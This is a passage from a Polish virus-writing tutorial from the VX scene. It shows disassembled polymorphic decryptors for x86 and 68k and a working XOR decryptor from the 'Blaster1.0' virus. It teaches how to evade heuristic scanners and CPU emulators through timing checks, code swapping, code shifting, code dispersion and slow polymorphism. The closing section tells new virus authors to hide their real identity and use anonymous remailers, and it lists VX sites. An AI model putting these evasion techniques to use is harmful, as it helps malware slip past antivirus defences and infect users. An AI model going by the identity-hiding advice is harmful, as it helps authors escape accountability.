:17b c63bba          mov      [bp+di],ba
:17e 040a            add      al,0a
:180 53              push     bx
:181 0e              push     cs
:182 50              push     ax
:183 7501            jne      :186
:185 99              cwd
:186 57              push     di
:187 e80900          call     :193
:18a 388b155e        cmp      [bp+di+5e15],cl
:18e 7e36            jle      :1c6
:190 55              push     bp
:191 27              daa
:192 5d              pop      bp
:193 cd32            int      32
:195 58              pop      ax
:196 07              pop      es
:197 fc              cld
:198 cd44            int      44
:19a ae              scasb
:19b 2e893e8f04      mov      cs:[048f],di
:1a0 2ec6064502bd    mov      cs:[0245],bd
:1a6 1f              pop      ds
:1a7 18c9            sbb      cl,cl
:1a9 2e81364b022e3e  xor      cs:[024b],3e2e
:1b0 3dfcce          cmp      ax,cefc
:1b3 d2              db       d2
:1b4 f6b1bce8        div      [bx+di-1744]
:1b8 0400            add      al,0
:1ba 6b4e1e74        imul     cx,[bp+1e],0074
:1be 14f2            adc      al,f2
:1c0 b191            mov      cl,91
:1c2 ba9a34          mov      dx,349a
:1c5 1f              pop      ds
:1c6 bdc4ac          mov      bp,acc4
:1c9 36ff068363      inc      ss:[6383]
:1cc e001            loopnz   :1d1
:1d0 9f              lahf
:1d1 36c7064602dcff  mov       ss:[0246],ffdc
:1d8 c506e7cb        lds       ax,[cbe7]
:1dc 50              push      ax
:1dd a935a2          test      ax,a235
:1e0 4b              dec       bx
:1e1 c6c0db          mov       al,db
:1e4 81d62cc9        adc       si,c92c
:1e8 eb5b            jmp       :245
:1ea e236            loop      :222
:1ec bdc1c0          mov       bp,c0c1
:1ef 3a81daf3        cmp       al,[bx+di-0c26]
:1f3 7726            ja        :21b
:1f5 1b11            sbb       dx,[bx+di]
:1f7 3607            pop       ss:es
:1f9 94              xchg      sp,ax
:1fa d1d4            rcl       sp,1
:1fc 737d            jnb       :27b
:1fe a6              cmpsb
:1ff 348c            xor       al,8c
:201 cb              retf
:202 734b            jnb       :24f
:204 30e7            xor       bh,ah
:206 671b1e          sbb       bx,[esi]
:209 40              inc       ax
:20a 33a340d8        xor       sp,[bp+di-27c0]
:20e 7d95            jnl       :1a5
:210 45              inc       bp
:211 f2f4            repnz  hlt
:213 c0ceae          shr       ah,ae
:216 5b              pop       bx
:217 7637            jbe       :250
:219 bbd75d          mov       bx,5dd7
:21c 27              daa
:21d 3694            xchg      ss:sp,ax
:21f b3de            mov       bl,de
:221 301e75bf        xor       [bf75],bl
:225 1d8a05          sbb       ax,058a
:228 81e6f6e2        and       si,e2f6
:22c f06232          lock  bound si,[bp+si]
:22f 9c              pushf
:230 b081            mov       al,81
:232 3ef786b6209fb4  test      ds:[bp+20b6],b49f
:239 296e11          sub       [bp+11],bp
:23c f1              db        f1
:23d 1f              pop       ds
:23e f7667397bdef    test      [9773],efbd
:244 02d7            add       dl,bh
:246 41              inc       cx
:247 ec              in        al,dx
:248 80b6743099      xor       [bp+3074],99
:24d 45              inc       bp
:24e 75f8            jne       :248


 68k:

$50000 4a34a0f8      tst.b    -8(a4,a2.w)
$50004 48e71ffe      movem.l  d3-a6,-(a7)
$50008 bofcaa0c      cmpa.w   #$aa0c,a0
$5000c 4aac2c60      tst.l    $2c60(a4)
$50010 48e7e000      movem.l  d0-d2,-(a7)
$50014 0c81ca8ad219  cmpi.l   #$ca8ad219,d1
$5001a 08438f10      bchg     #$10,d3
$5001e e46a          lsr.w    d2,d2
$50020 7606          moveq    #6,d3
$50022 e97e          rol.w    d4,d6
$50024 303c1234      move.w   #$1234,d0
$50028 0b02          btst     d5,d2
$5002a 4e71          nop
$5002c cb46          exg      d5,d6
$5002e d905          addx.b   d5,d4
$50030 41fa00d6      lea      $50108(pc),a0
$50034 4ab2b068      tst.l    $68(a2,a3.w)
$50038 e73d          rol.b    d3,d5
$5003a e673          roxr.w   d3,d3
$5003c 4245          clr.w    d5
$5003e 7260          moveq    #$60,d1
$50040 47fa0068      lea      $500ae(pc),a3
$50044 ea27          asr.b    d5,d7
$50046 bcbbd024      cmp.l    $5006c(pc,a5.w),d6
$5004a eb3b          rol.b    d5,d3
$5004c b747          eor.w    d3,d7
$5004e 9502          subx.b   d2,d2
$50050 1410          move.b   (a0),d2
$50052 0d04          btst     d6,d4
$50054 0705          btst     d3,d5
$50056 4e71          nop
$50058 4e71          nop
$5005a bebb1004      cmp.l    $50060(pc,d1.w),d7
$5005e 0c463e20      cmpi.w   #$3e20,d6
$50062 b68a          cmp.l    a2,d3
$50064 0d03          btst     d6,d3
$50066 4e71          nop
$50068 d401          add.b    d1,d2
$5006a 9dfc00000000  suba.l   #0,a6
$50070 93fc00000000  suba.l   #0,a1
$50076 d7fc00000000  adda.l   #0,a3
$5007c 4e71          nop
$5007e ddfc00000000  adda.l   #0,a6
$50084 4aab0116      tst.l    $116(a3)
$50088 0601e701      addi.b   #1,d1
$5008c 4a90          tst.l    (a0)
$5008e 9efc0000      suba.w   #0,a7
$50092 4aa8edba      tst.l    -$1246(a0)
$50096 b2fc8113      cmpa.w   #$8113,a1
$5009a b5fcc0b49a96  cmpa.l   #$c0b49a96,a2
$500a0 bc7aa000      cmp.w    $4a0a2(pc),d6
$500a4 9afc0000      suba.w   #0,a5
$500a8 0c423d01      cmpi.w   #$3d01,d2
$500ac 0503          btst     d2,d3
$500ae 0c83e9531cab  cmpi.l   #$e9531cab,d3
$500b4 0c433c7c      cmpi.w   #$3c7c,d3
$500b8 4a80          tst.l    d0
$500ba 9dfc00000000  suba.l   #0,a6
$500c0 10c2          move.b   d2,(a0)+
$500c2 4a51          tst.w    (a1)
$500c4 0806e011      btst     #$11,d6
$500c8 4a82          tst.l    d2
$500ca 7407          moveq    #7,d2
$500cc cd02          abcd.b   d2,d6
$500ce 963a40c8      sub.b    $54198(pc),d3
$500d2 4082          negx.l   d2
$500d4 04400001      subi.w   #1,d0
$500d8 6600ff6c      bne.w    $50046
$500dc d67b0088      add.w    $50066(pc,d0.w),d3
$500e0 987a4000      sub.w    $540e2(pc),d4
$500e4 7a04          moveq    #4,d5
$500e6 0d87          bclr     d6,d7
$500e8 2645          move.l   d5,a3
$500ea 4e71          nop
$500ec 2c53          move.l   (a3),a6
$500f0 263c0000fd18  move.l   #$fd18,d3
$500f6 0c05d398      cmpi.b   #$98,d5
$500fa 4eb6386c      jsr      $6c(a6,d3.l)
$500fa 0507          btst     d2,d7
$500fc 0c830d3b8092  cmpi.l   #$30d38092,d3
$50102 dffc00000000  adda.l   #0,a7

$50108 VIRUS


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.2d     Podatnosc na heurystyke.


 Pomimo duzego nakladu pracy wlozonego w napisanie dobrego generatora procedur
 deszyfrujacych, wirus moze zostac szybko wykryty przez programy antywirusowe.
 Co konkretnie jest naszym wrogiem? Przede wszystkim skanery heurystyczne.
 Heurystyczne metody wykrywania wirusow polegaja na poszukiwaniu w testowanych
 plikach ciagow instrukcji charakterystycznych dla wirusow. Instrukcje
 pelniace okreslona funkcje sa oznaczane tzw. flagami, np.: moze to byc blok
 instrukcji przydzielajacy pamiec, wyliczajacy delta-offset, skok do
 oryginalnego CS:(E)IP przechowanego uprzednio w kodzie wirusa, sprawdzanie
 naglowka pliku wykonywalnego itd. W ostatnich latach pojawily sie wirusy
 skryptowe i makrowirusy, do nich tez stosuje sie heurystyke.

 Sama heurystyka jest pojeciem bardzo szerokim, my zajmiemy sie jedynie
 analiza mozliwosci wykrycia dekodera polimorficznego przez skaner.
 Zastanowmy sie co mozemy zrobic, by uniknac wykrycia.

 A. Wybor odpowiedniego algorytmu.
 ---------------------------------
 Jest to najwazniejsza moim zdaniem rzecz, jesli chodzi o konstruowanie
 generatorow procedur deszyfrujacych. Ilosc generowanych wariantow dekodera
 w ilosci kilku miliardow, czy zastosowanie prawie wszystkich instrukcji z
 listy procesora nie zapewnia niczego. Skanery szukaja petli deszyfrujacych,
 instrukcji przeprowadzajacych deszyfracje na lokacjach pamieci czy rejestrach,
 mozna je jednak oszukac. Sa tak inteligentne, jak ludzie ktorzy je napisali.
 Ponizej przedstawiam prosty dekoder z wirusa 'Blaster1.0', jakies 1.5 roku
 temu testowalem z ciekawosci kilka skanerow, przy tym wirusie nie bylo ani
 jednej flagi, co jest dla mnie dziwne.

 dekoder x86:

_crypt1:        add     cs:word ptr [_arg-Start],17d
_crypt:         mov     di,(offset text - offset Start)
                mov     cx,Virus_end-text
                jmp     short _b
                db      8f
_crypt_loop:    jbe     _ret
                mov     cs:[di],ax
                add     di,2
_b:             mov     ax,cs:[di]
                push    ax
                call    crypt2
_a:             db      69
_ret:           ret

crypt2:         pop     si
                sub     si,(offset _a - offset _crypt_loop)
                pop     ax
                xor     ax,0
_arg            = word ptr $ - 2
                dec     cx
                dec     cx
                jmp     si


Przepraszam za etykiety, mam tendencje do tworzenia etykiet o idiotycznych
nazwach. Sam sposob dzialania procedury jest bardzo prosty, wartosc komorki
pamieci w formacie slowa zostaje umieszczona na stosie, stamtad zostaje zdjeta
przez instrukcje "POP" i poddana deszyfracji przy pomocy zwyklego "XOR".
Sadze ze podobnych procedur omijajacych mechanizmy heyrystyczne mozna stworzyc
setki lub tysiace. Najwazniejsza rzecza jest unikanie schematow, takich jak
cykliczne dekodowanie w jednej petli, deszyfracja bezposrednio w pamieci bez
uzycia trybow adresowania z indeksem, czy kalkulacja delta-offset poprzez
"CALL-POP-SUB" w przypadku PC.

 B. Zastosowanie odpowiedniego zestawu instrukcji.
 -------------------------------------------------

 Stosowanie przez generator duzego zakresu instrukcji ma swoje dobre i zle
 strony. Do tych dobrych mozna zaliczyc roznorodnosc mozliwosci szyfrowania
 kodu wirusa, oraz koniecznosc rozpoznawania tych instrukcji przez programy
 antywirusowe. Jesli chodzi o ta ostatnia rzecz, obecne programy dysponuja
 poteznym narzedziem w postaci emulatora procesora (CPU emulation), co
 powoduje symulowanie kazdej instrukcji znajdujacej sie na liscie rozkazow
 procesora danej rodziny. Jesli chodzi o zle strony, napisanie takiego
 generatora jest bardzo czasochlonne i wymaga wielu testow. Moze sie bowiem
 zdarzyc ze np.: jeden na 20 dekoderow bedzie posiadal bledy powodujace
 zawieszanie sie zarazonych plikow. Rowniez zbytnie nagromadzenie w malym
 fragmencie kodu (2k rowniez jest malym fragmentem) instrukcji rzadko
 stosowanych w normalnych programach moze podniesc alarm skanerow w postaci
 flag. Zatem dekoder polimorficzny powinien skladac sie z instrukcji typowych
 dla normalnych programow, bez naduzywania wybranych instrukcji jak np: petle.
 Sam proces deasemblacji dekodera moze wykazac pewne "nienormalne" zachowania
 jak zastosowanie bezposrednio po sobie kilku instrukcji testujacych dana
 wartosc jak CMP(x86 i 68k), TEST(x86), BTST(68k) bez jakichkolwiek dzialan
 warunkowych. Trudno tez jest stworzyc organizacje petli dekodujacej bez
 podnoszenia alarmu skanerow heurystycznych.


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.2e     Techniki "dodatkowe".


 Tutaj postaram sie zamiescic najciekawsze rzeczy dotyczace polimorfizmu.
 Gdyby wirusy stosowaly tylko techniki znane z rozdzialu 8.2b, zostalyby
 wybite co do sztuki przez programy antywirusowe. Dlatego oprocz technik
 szyfrowania, nawet bardzo rozbudowanych, wirus musi stosowac rowniez inne
 techniki zapobiebajace wykryciu. Najgrozniejszym wrogiem wirusow sa skanery
 heurystyczne, wiekszosc technik stosowanych przez nowoczesne wirusy jest
 nastawiona na ich ominiecie. Jednym ze sposobow wykrycia, czy kod wirusa
 jest uruchomiony na "prawdziwym" systemie czy tez pod kontrola emulatora
 sa techniki bazujace na kontroli uplywu czasu. W czasach gdy sprzet bedacy
 w uzytku to zarowno stare Pentiumy 100, jak i szybkie Athlony XP 1500+, moze
 to byc trudne w implementacji. Jest to jednak jedna ze skuteczniejszych
 technik. Jak to zastosowac w praktyce? Zalozmy ze konstruujemy petle, czas
 jej wykonywania na "prawdziwym" komputerze powinien byc bardzo krotki. Jesli
 jednak zostanie ona uruchomiona pod kontrola emulatora, czas jej wykonywania
 powinien byc o wiele dluzszy, np.: wykonanie jednej instrukcji zajmuje
 procesorowi zazwyczaj kilka taktow zegara, wykonanie tej samej instrukcji
 przez emulator wymaga jej deasemblacji, sprawdzenia czy nie jest ona
 elementem procedury alokujacej pamiec, sprawdzajacej naglowek pliku,
 szyfrujacej itd. W tym celu sam disassembler musi wykonac od kilkunastu
 do kilkuset instrukcji by rozpoznac jej typ, tryb adresowania operandu
 zrodlowego, tryb adresowania operandu docelowego, sprawdzic czy instrukcja
 powoduje zapis do pamieci a jesli tak, emulator musi "udawac" ta pamiec razem
 z jej zawartoscia. To zajmuje duzo czasu. Implementacja dla x86 lub 68k dla
 doswiadczonego programisty nie powinna stanowic duzego problemu.
 Nastepna rzecz: zaden emulator nie jest doskonaly, nie emuluje w pelni
 systemu, procesora, koprocesora itd. Mozemy tak skonstruowac kod wykrywajacy
 emulator by jego wynik roznil sie od wyniku uruchomienia tego samego kodu
 na "prawdziwym" procesorze. Nie jest to prosta sprawa, mozliwa jednak do
 zrealizowania. Czesto emulator uruchamiajac program pod wlasna kontrola
 sprawdza, czy sa dokonywane operacje odczytu/zapisu w obrebie emulowanego
 kodu. W takim przypadku moze wykryc dekoder, zwlaszcza jesli odnajdzie
 petle ktora z tego samego adresu pobiera dana, dokonuje na niej operacji,
 a nastepnie skladuje ja w miejsce skad zostala pobrana. Takie dzialanie
 zostanie w 90% wykryte jako procedura deszyfrujaca, z 10% marginesem na
 spakowane pliki *.EXE i polimorficznymi wirusami z technikami
 antyemulacyjnymi. Istnieje technika ktora pozwala tworzyc polimorficzne
 wirusy BEZ SZYFROWANIA kodu.

 A. "Code swapping".
 -------------------

 Technika zastosowana chyba tylko w jednym wirusie, czytalem ze jest to
 wirus napisany pod Win32 ale nie pamietam jego nazwy. Kod wirusa nie jest
 w zaden sposob szyfrowany, co wiecej, cala procedura doprowadzajaca kod
 wirusa do dzialajacej postaci nie zawiera ANI JEDNEJ instrukcji ktora
 moglaby sugerowac jakiekolwiek dekodowanie. Zasada dzialania jest prosta:
 kod wirusa zostaje podzielony na bloki (dla przykladu zalozymy ze dlugosc
 wirusa jest rowna 4000 bajtow), moze to byc stala ilosc blokow o rownych lub
 roznych dlugosciach, rownie dobrze moze byc ich losowa ilosc o losowej
 dlugosci. Dla ponizszego przykladu przyjalem ze kod wirusa sklada sie z
 20 blokow. Popatrzmy na algorytm dzialania:

    Rzeczywisty kod wirusa:                   kod "zaszyfrowany":

                                             [dekoder]
01: [blok 01 A-Z,200]                         [blok 14 Z-A,SWAP_D,200]
02: [blok 02 A-Z,200]                         [blok 05 A-Z,SWAP_B,200]
03: [blok 03 A-Z,200]                         [blok 01 Z-A,SWAP_W,200]
04: [blok 04 A-Z,200]                         [blok 09 Z-A,       200]
05: [blok 05 A-Z,200]                         [blok 04 A-Z,SWAP_W,200]
06: [blok 06 A-Z,200]                         [blok 15 A-Z,SWAP_W,200]
07: [blok 07 A-Z,200]                         [blok 08 A-Z,       200]
08: [blok 08 A-Z,200]                         [blok 12,Z-A,SWAP_D,200]
09: [blok 09 A-Z,200]                         [blok 13,Z-A,SWAP_W,200]
10: [blok 10 A-Z,200]                         [blok 06,A-Z,SWAP_W,200]
11: [blok 11 A-Z,200]                         [blok 16,Z-A,SWAP_B,200]
12: [blok 12 A-Z,200]                         [blok 20,A-Z,SWAP_D,200]
13: [blok 13 A-Z,200]                         [blok 03,A-Z,SWAP_B,200]
14: [blok 14 A-Z,200]                         [blok 11,Z-A,       200]
15: [blok 15 A-Z,200]                         [blok 07,A-Z,SWAP_D,200]
16: [blok 16 A-Z,200]                         [blok 10,A-Z,       200]
17: [blok 17 A-Z,200]                         [blok 17,Z-A,SWAP_D,200]
18: [blok 18 A-Z,200]                         [blok 19,Z-A,SWAP_B,200]
19: [blok 19 A-Z,200]                         [blok 02,Z-A,       200]
20: [blok 20 A-Z,200]                         [blok 18,A-Z,SWAP_W,200]


Spiesze z wyjasnieniami:
A-Z    = normalny uklad bajtow zapisany od przodu do tylu
Z-A    = blok zapisany od tylu
SWAP_B = przy zapisie bloku do bufora bajty zostaly zamienione miejscami
         dla: 12345678 mamy 21436587
SWAP_W = przy zapisie bloku do bufora slowa zostaly zamienione miejscami
         dla: 12345678 mamy 34127856
SWAP_D = przy zapisie bloku do bufora podwojne slowa zostaly zamienione
         miejscami, dla 12345678 mamy 56781234.
200    = dlugosc bloku.

Jak widac "zaszyfrowany" kod wirusa wyglada inaczej niz kod pierwowzoru, wcale
nie trzeba szyfrowania by wirus byl polimorficzny.

 B. "Code shifting".
 -------------------

 Wydaje sie ze technika ta moze znalezc zastosowanie tylko w procesorach
 68k Motoroli. Wlasciwie jesli chodzi o zwiazek tej techniki z polimorfizmem
 to moznaby nad tym dyskutowac, byc moze ze nie wszyscy o niej slyszeli
 i opisze ja pokrotce. Jak wiadomo kazda instrukcja procesora 68k ma dlugosc
 bedaca wielokrotnoscia dwojki, musi tez byc zapisana w pamieci pod parzystym
 adresem by mogla zostac poprawnie zdekodowana przez procesor i wykonana.
 Przypuscmy ze skaner antywirusowy bedzie poszukiwal sygnatury wirusa, bedzie
 jej poszukiwal zawsze w parzystych adresach,lub od tego adresu poczawszy.

 maly przyklad:

 68k:

 $50000 4e71 NOP
 $50002 4e75 RTS

 przesuwajac caly kod z lokacji A (Adress) do A+1 uzyskamy nastepujacy zapis:

 $50000 004e dc.w $004e
 $50002 714e dc.w $714e

 w takiej postaci liczby te nie pasuja do zadnego zapisu instrukcji
 znajdujacych sie na liscie procesora, nie moga wiec zostac wykonane.
 Rozwiazanie takie jest proste, jednak dobrze zastosowane moze byc bardzo
 skuteczne: otoz kod dzielimy na fragmenty (a jakze :-), obliczamy nieparzyste
 przesuniecia dla kazdego bloku o zakres powiedzmy od 1 do 31 bajtow.
 Zapamietujemy offset bloku w kodzie wirusa wraz z rozmiarem, i liczba
 oznaczajaca przesuniecie (Shift) w zadeklarowanej w tym celu tablicy. Potem
 latwiej bedzie nam kopiowac bloki do bufora. Ponizej przykladowy kod
 skladajacy sie z 8 blokow:


    Wirus:                Ten sam wirus po zastosowaniu "code shiftingu"

                                         [dekoder]
 0:                                   0:
 1: [blok 1, 100, offset 1-0]         1: [blok 1, 100, offset (1-0)+3]
 2: [blok 2, 122, offset 2-0]         2: [blok 2, 122, offset (2-0)+7]
 3: [blok 3,  84, offset 3-0]         3: [blok 3,  84, offset (3-0)+9]
 4: [blok 4, 140, offset 4-0]         4: [blok 4, 140, offset (4-0)+13]
 5: [blok 5,  32, offset 5-0]         5: [blok 5,  32, offset (5-0)+17]
 6: [blok 6, 260, offset 6-0]         6: [blok 6, 260, offset (6-0)+21]
 7: [blok 7, 186, offset 7-0]         7: [blok 7, 186, offset (7-0)+25]
 8: [blok 8, 114, offset 8-0]         8: [blok 8, 114, offset (8-0)+29]

 Mam nadzieje ze powyzszy zapis jest przejrzysty i zrozumialy. Byc moze
 technika ta nadaje sie do zastosowania na procesorze x86, jednak ze wzgledu
 na nieparzysta dlugosc rozkazow moze to byc trudne lub niemozliwe.

 C. "Code Dispersion".
 ---------------------

 Chyba niedlugo juz przyzwyczaimy sie, ze niemal kazda nowa technika posiada
 slowo "Code" w nazwie. Ta technika jest dosc powszechnie stosowana przez
 generatory procedur deszyfrujacych, rzadziej przez same wirusy. Slowo
 "dispersion" znaczy po angielsku "rozproszenie", i na tym polega tez technika.
 Zasada dzialania jest prosta, procedura skladajaca sie z kilkunastu do
 kilkuset instrukcji zostaje podzielona na kilka, kilkanascie czasami nawet
 kilkadziesiat kawalkow realizujacych zadanie calosci. Popatrzmy na przyklad:

 przykladowy program:

 START:
          [ Procedura 1 ]
          [ Procedura 2 ]
          [ Procedura 3 ]
          [ Procedura 4 ]
 END:

 "Code dispersion":

 START:

          JMP LABEL_1
 LABEL_5  [ Procedura 2 ]
          CALL LABEL_6
          JMP LABEL_7

 LABEL_2: [ Procedura 1B ]
          JMP LABEL_3

 LABEL_4: [ Procedura 1D ]
          END.

 LABEL_9: [ Procedura 4C ]
          [ Procedura 4D ]
          END.

 LABEL_7: [Procedura 4A ]
          JMP LABEL_8

 LABEL_1: [ Pocedura 1A ]
          JMP LABEL_2

 LABEL_8: [ Procedura 4B ]
          CALL LABEL_9
          JMP END:

 LABEL_3: [ Procedura 1C ]
          CALL LABEL_4
          JMP LABEL_5

 LABEL_6: [ Procedura 3 ]
          END.

 END:

 Jak wczesniej pisalem technika jest czesto stosowana przez generatory
 procedur dekodujacych. Fragmentami procedur jak z przykladu powyzej sa
 nastepne funkcjonalnie bloki dekodera przedzielone mechanizmami skokow.
 Zastosowanie trybu adresowania z indeksem moze wprowadzic dodatkowe
 trudnosci w analizie wirusa lub dekodera.

 D. Powolny polimorfizm.
 -----------------------

 Wiadomo ze kazdy wirus zostanie wykryty, nie ma innej mozliwosci. Nawet
 bardzo zaawansowany wirus polimorficzny, po zarazeniu testowych plikow
 (testfiles) w laboratorium antywirusowym nie ma wiekszych szans, gdyz na
 podstawie ich analizy zostaja uzyskane dokladne informacje o sposobie
 dzialania generatora, ewentualnych niezmiennych bajtach w dekoderach,
 stosowanych algorytmach szyfrujacych itd. Probki takie sa poddawane analizie
 przez specjalnie napisane do tego celu programy, wystarczy ok. 100 probek
 polimorficznego wirusa do stworzenia danych opisujacych sposob generowania
 dekoderow, dane te sa potem uzywane przez program antywirusowy do
 poszukiwania wirusa w pliku przy pomocy metod heurystycznych. Trzeba wiec
 zadbac o to, by takie automatyczne narzedzia ominac. Co mozemy zrobic w tym
 celu? Mozemy zastosowac wlasnie powolny polimorfizm. Na czym to polega?
 Taki rodzaj polimorfizmu polega na modyfikacji procedury dekodujacej lub
 tez wygenerowania nowej dopiero po wystapieniu pewnych warunkow. Takim
 warunkiem moze byc np.: uplyw okreslonego czasu od instalacji w systemie,
 uplyw okreslonego czasu od ostatniej infekcji plikow, osiagniecie przez
 licznik pewnej liczby kopii wirusa itd. Technika ta moze byc zrealizowana
 jedna z dwoch metod: okresowego generowania nowej procedury, i stalego lecz
 ciaglego jej modyfikowania. Jesli chodzi o pierszy przypadek, jest
 latwiejszy w zastosowaniu, latwo bowiem stworzyc generator do ktorego bedziemy
 przekazywac argument sluzacy nam pozniej do generowania liczb pseudolosowych
 uzywanych przez generator. Tym argumentem moze byc np.: rezultat funkcji
 odczytujacej date systemowa. Dzieki temu procedura dekodujaca bedzie
 generowana raz dziennie. Rownie dobrze mozemy stworzyc nowa procedure po
 zarazeniu przez wirusa 100 plikow, potem licznik jest kasowany, i tak od nowa.

 Oczywiscie slaba strona tej metody jest mozliwosc jej oszukania przez autorow
 programow antywirusowych, w laboratorium moga bowiem zasymulowac takiemu
 generatorowi dowolne argumenty uzyskujac probki potrzebne do analizy.

 Drugim sposobem jest modyfikacja jednej instrukcji w dekoderze po kazdej
 infekcji pliku. Jest to trudne do realizacji, wymaga bowiem nie tworzenia
 nowego dekodera, lecz modyfikacji juz istniejacego. W tym celu wirusy
 stosujace ten sposob konstruuja dekodery skladajace z funkcjonalnych blokow
 instrukcji, po kazdej infekcji modyfikowany jest tylko jeden element calego
 dekodera. Tutaj nie ma mozliwosci latwego obejscia powolnych zmian, stad
 wirusy stosujace ta druga metode sa wykrywane przez emulacje procesora.
 Przykladem takiego wirusa jest Hare.7610.



  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.2e     Zakonczenie.


 Mam nadzieje ze powyzsze informacje w pewnym stopniu oddaly czym jest
 polimorfizm wirusow komputerowych. Dalszych informacji na ten temat mozna
 poszukac w wielu zrodlach w Internecie, na koncu podam spis linkow gdzie
 mozna zasiegnac dalszych informacji na ten temat. Nie wyczerpalem tez
 tematu do konca, wiele jeszcze brakuje. Nie jest tez mozliwe zreszta
 napisanie takiego tekstu na "wiecznosc", zarowno wirusy jak i antuwirusy
 ciagle ulegaja ewolucji, i techniki dzis uznawane za bardzo zaawansowane
 i praktycznie nie do "rozpracowania", jutro moga stac sie znane autorom
 programow antywirusowych i trzeba bedzie szukac dalej. O to jednak w wirusach
 chodzi, cozby to byla za satysfakcja napisac wirusa ktorego nikt nie bedzie
 mogl wykryc i unieszkodliwic? Staly rozwoj systemow operacyjnych wymusza tez
 postep w dziedzinie wirusow, w przypadku PC sadzono ze wraz z wejsciem na
 rynek systemu Windows95 problem wirusow zniknie. Okazalo sie ze ludzie
 z Microsoftu okrutnie sie mylili. Wraz z nadejsciem nowego systemu wirusy
 weszly w nowa ere korzystajac jak nigdy dotychczas z funkcji systemu, jak np.:
 mozliwosc uaktualniania wlasnego kodu przez Internet, masowe rozsylanie sie
 poczta elektroniczna, implementacja procedur "backdoor" w wirusach,
 wielowatkowosc, "multiprocess residency" i inne.

 "Usiadz wygodnie i zrelaksuj sie, Windows 98 instaluje sie na tym komputerze"

 Mam jeszcze kilka slow do ludzi ktorzy dopiero rozpoczeli swoja przygode ze
 scena VX, badz chca zaistniec na tej scenie. Od 1 stycznia 2002 roku weszlo
 w zycie nowe prawo na mocy ktorego kazdy autor wirusa moze miec zapewnione
 kilkuletnie wakacje za kratami. Doradzam daleko idaca ostroznosc przy
 wszelkich dzialaniach, okazac sie moze ze napiszecie swojego pierwszego
 wirusa moze nawet czesciowo przepisanego z ksiazki lub przerobicie czyjs kod
 zrodlowy zeby z ciekawosci sprawdzic jak taki wirus dziala. Jesli wydostanie
 sie on na wolnosc, i zostanie wam udowodnione jego autorstwo (nie jest to
 takie trudne, wierzcie mi) mozecie miec duze klopoty. Sam mialem kilka
 miesiecy temu powazne klopoty z instytucja znana jako VTC (Virus Test Centre)
 z Uniwersytetu z Hamburga. Uniknalem klopotow gdy wytlumaczylem czlowiekowi
 ze zaden z moich dotychczasowych wirusow nie opuscil mojego komputera w
 postaci pliku wykonywalnego, jesli jednak ktos skompiluje moje wirusy, moge
 miec klopoty. Kilka przykladow: autorzy wirusa Win32.Goner (2 nastolatkow z
 Izraela) siedza w ciupie, autor slynnego CIH'a Cheng Ing Hau siedzi w ciupie,
 "autor" wirusa Kournikova rowniez zostal aresztowany i siedzi. Kilku bardzo
 slawnych ludzi opuscilo scene VX (Lord Julus/29a, Bumblebee/29a) gdyz nie
 chcieli miec klopotow. Dlatego doradzam by nie zdradzac prawdziwej tozsamosci
 nawet czlonkom wlasnej grupy, jesli zrzesza was idea wirusow, nie bedzie
 stalo nic na przeszkodzie jesli bedziecie sie znali tylko z pesudonimow.
 Istnieja tez w Internecie ciekawe narzedzia pocztowe - remailery i anonimy.
 Jednym z bardziej znanych jest nym.alias.net. Zalozenie wlasnego aliasu na
 takim anonimie nie jest skomplikowana sprawa.


  links:
  ------

  www.coderz.net/29a
  www.coderz.net/ikx
  www.coderz.net/lifewire
  www.benny.kgb.cz
  vx.netlux.org
  z0mbie.cjb.net




  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.3     Wykrywanie wirusow


 Witam panstwa ponownie :-), tym razem mala porcja wiedzy na temat metod
 wykrywania wirusow. Jako extra opis, bedzie dosc dokladna analiza metody
 znanej jako emulacja procesora (CPU emulation). Tym razem nie bedzie juz
 tylu wiadomosci na temat heyrystyki (hmm.. wlasciwie to nie bylo ich duzo),
 polozymy nacisk na analize wszelkich systemow uruchomieniowych, sledzacych,
 interpreterow itd. Odrobina nastrojowej muzyki (Amon Tobin, Surgeon),
 i zaczynamy. 


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.3a    Scan-String.
 
 Jest to najstarsza znana metoda wykrywania wirusow, stosowana do dzisiaj
 przez wszystkie (lub prawie wszystkie) programy antywirusowe. Pierwsze wirusy
 nie stosowaly prawie zadnych technik majacych za zadanie przeznaczonych do
 utrudnienia wykrycia przez programy AV (choc pierwszy wirus - Brain - byl
 wirusem typu stealth infekujacym bootsektory napedow 5.25" 360kB). W takim
 wypadku wystarczylo znac dlugosc wirusa, lokacje jego kodu w pliku (prawie
 zawsze na koncu) oraz miejsce przechowywania oryginalnego CS:IP pobrane z
 naglowka pliku *.EXE. Autorzy takich "programow AV" zdobywali slawe pogromcy
 wirusow, choc ledwie slaba znajomosc asemblera i dostateczna znajomosc Pascala
 wystarczyla do unieszkodliwienia kodu wirusa. Poczatkowo wydawalo sie ze
 wirusow nie dotknie zadna ewolucja, wydawalo sie ze pozostana w takim stanie
 jak w momencie ich pojawienia sie. Czas pokazal ze autorzy programow bardzo
 sie mylili. Niemal lawinowo rosnaca liczba wykrywanych wirusow (w latach 1993-
 95 nawet 500 miesiecznie) zmusila programistow AV do udoskonalenia baz danych
 sygnatur wirusow, w celu szybszego i efektywniejszego dzialania. Zmianom ulegly
 tez same sygnatury, na poczatku lat 90 ustalono pewne zasady nazywane
 konwencja CARO (CARO jest organizacja zrzeszajaca programistow AV z calego
 swiata). Przyjeto m.in. ze scan-string uzyty do wykrycia wirusa powinien miec
 16 bajtow (dla niektorych wirusow jest to niemozliwe, gdyz jedynym mozliwym
 scan-stringiem jest procedura dekodujaca o dlugosci 13 lub 14 bajtow).
 Wydaje mi sie ze niezbyt jasno to opisalem, maly przyklad:

 SEEK_IP        ;poszukuje scan-stringu w miejscu CS:IP + offset
 SEEK_START     ;poszukuje scan-stringu od poczatku pliku + offset
 SEEK_END       ;poszukuje scan-stringu od konca pliku + offset
 SEEK_FIRSTCALL ;szuka pierwszego skoku od poczatku pliku, nastepnie pod
